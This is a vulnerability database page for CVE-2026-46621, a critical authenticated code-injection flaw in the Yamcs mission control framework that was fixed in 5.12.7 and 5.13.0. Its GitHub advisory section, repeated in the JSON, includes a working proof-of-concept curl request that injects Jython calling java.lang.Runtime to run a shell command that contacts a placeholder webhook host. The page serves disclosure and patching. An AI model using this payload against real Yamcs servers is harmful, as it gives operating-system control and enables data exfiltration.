Vulnerability-Lookup

CVE-2026-46621 (GCVE-0-2026-46621)

Vulnerability from cvelistv5 – Published: 2026-07-16 16:07 – Updated: 2026-07-16 18:00

Title

Yamcs: Authenticated Remote Code Execution (RCE) via Jython Algorithm Code Injection

Summary

Yamcs is a mission control framework. Prior to 5.12.7, the Yamcs script evaluation engine for Python algorithms dynamically compiled and evaluated user-controlled algorithm text using Jython through the JSR-223 ScriptEngine API without enforcing a secure sandbox, so an authenticated user with the ChangeMissionDatabase privilege could override an existing Python algorithm's logic through the mission database REST API and import and execute arbitrary Java classes such as java.lang.Runtime to achieve remote code execution on the underlying host operating system. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default.

Severity

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M

References

5 references

URL	Tags
https://github.com/yamcs/yamcs/security/advisorie…	x_refsource_CONFIRM
https://github.com/yamcs/yamcs/commit/3c550348f86…	x_refsource_MISC
https://github.com/yamcs/yamcs/commit/4ff8fda642e…	x_refsource_MISC
https://github.com/yamcs/yamcs/releases/tag/yamcs…	x_refsource_MISC
https://github.com/yamcs/yamcs/releases/tag/yamcs…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
yamcs	yamcs	Affected: < 5.12.7

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-46621

Vulnerability from fkie_nvd - Published: 2026-07-16 17:16 - Updated: 2026-07-16 19:16

Severity

9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/yamcs/yamcs/commit/3c550348f866af4675d2ba4a51d8d12b7c7c6011
	security-advisories@github.com	https://github.com/yamcs/yamcs/commit/4ff8fda642ea8c3309a4d3f379aa77b763148992
	security-advisories@github.com	https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.7
	security-advisories@github.com	https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.0
	security-advisories@github.com	https://github.com/yamcs/yamcs/security/advisories/GHSA-2g95-6x5q-xjwj
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/yamcs/yamcs/security/advisories/GHSA-2g95-6x5q-xjwj

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "yamcs",
          "vendor": "yamcs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.12.7"
            }
          ]
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    }
  ],
  "id": "CVE-2026-46621",
  "lastModified": "2026-07-16T19:16:47.150",
  "metrics": {
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}

GHSA-2G95-6X5Q-XJWJ

Vulnerability from github – Published: 2026-05-27 22:49 – Updated: 2026-05-27 22:49

Summary

Yamcs Vulnerable to Authenticated Remote Code Execution (RCE) via Jython Algorithm Code Injection

Details

Summary

A Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the ChangeMissionDatabase privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system.

Details

The vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (/api/mdb/{instance}/realtime/algorithms/{name}), the AlgorithmManager uses the ScriptAlgorithmExecutorFactory to instantiate a JSR-223 ScriptEngine (in this case, Jython/Python).

Because Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as java.lang.Runtime. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands.

PoC

Prerequisites: 1. A running Yamcs instance with the Jython engine available in its classpath (e.g., jython-standalone dependency included). 2. An active authentication token for a user with the SystemPrivilege.ChangeMissionDatabase privilege. 3. An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to python (e.g., a custom poc algorithm). Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.

Exploitation Steps:

Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages java.lang.Runtime to execute an OS command (e.g., triggering an external webhook or a reverse shell).

bash curl -i -X PATCH http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \ -d '{ "action": "SET", "algorithm": { "text": "import java.lang.Runtime\njava.lang.Runtime.getRuntime().exec([\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/RCE\"])\nout0.value = 1.0" } }'

(Note: Assigning a valid output like out0.value = 1.0 ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution).
Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the simulator.py script to update the required parameters like Sunsensor).
The Yamcs server compiles the injected text into an executable script on the fly.
Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.

Impact

It impacts any Yamcs deployment where users are granted the ChangeMissionDatabase privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure.

Credits

Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

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      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
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              "introduced": "0"
            },
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            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46621"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T22:49:25Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the `ChangeMissionDatabase` privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system.\n\n### Details\nThe vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (`/api/mdb/{instance}/realtime/algorithms/{name}`), the `AlgorithmManager` uses the `ScriptAlgorithmExecutorFactory` to instantiate a JSR-223 `ScriptEngine` (in this case, Jython/Python). \n\nBecause Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as `java.lang.Runtime`. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands.\n\n### PoC\n\n**Prerequisites:**\n1. A running Yamcs instance with the Jython engine available in its classpath (e.g., `jython-standalone` dependency included).\n2. An active authentication token for a user with the `SystemPrivilege.ChangeMissionDatabase` privilege.\n3. An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to `python` (e.g., a custom `poc` algorithm). *Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.*\n\n**Exploitation Steps:**\n\n1. Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages `java.lang.Runtime` to execute an OS command (e.g., triggering an external webhook or a reverse shell).\n\n    ```bash\n    curl -i -X PATCH http://\u003cYAMCS-SERVER-IP\u003e:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \\\n         -H \u0027Content-Type: application/json\u0027 \\\n         -H \u0027Authorization: Bearer \u003cYOUR_AUTH_TOKEN\u003e\u0027 \\\n         -d \u0027{\n           \"action\": \"SET\",\n           \"algorithm\": {\n             \"text\": \"import java.lang.Runtime\\njava.lang.Runtime.getRuntime().exec([\\\"bash\\\", \\\"-c\\\", \\\"curl https://\u003cYOUR-WEBHOOK-URL\u003e/RCE\\\"])\\nout0.value = 1.0\"\n           }\n         }\u0027\n    ```\n\n    *(Note: Assigning a valid output like `out0.value = 1.0` ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution).*\n\n2. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the `simulator.py` script to update the required parameters like `Sunsensor`).\n\n3. The Yamcs server compiles the injected text into an executable script on the fly.\n\n4. Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.\n\n### Impact\nIt impacts any Yamcs deployment where users are granted the `ChangeMissionDatabase` privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure.\n\n### Credits\nDiscovered \u0026 reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.",
  "id": "GHSA-2g95-6x5q-xjwj",
  "modified": "2026-05-27T22:49:25Z",
  "published": "2026-05-27T22:49:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-2g95-6x5q-xjwj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamcs/yamcs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Yamcs Vulnerable to Authenticated Remote Code Execution (RCE) via Jython Algorithm Code Injection"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-46621 (GCVE-0-2026-46621)

FKIE_CVE-2026-46621

GHSA-2G95-6X5Q-XJWJ

Summary

Details

PoC

Impact

Credits

Tags

Sightings

Nomenclature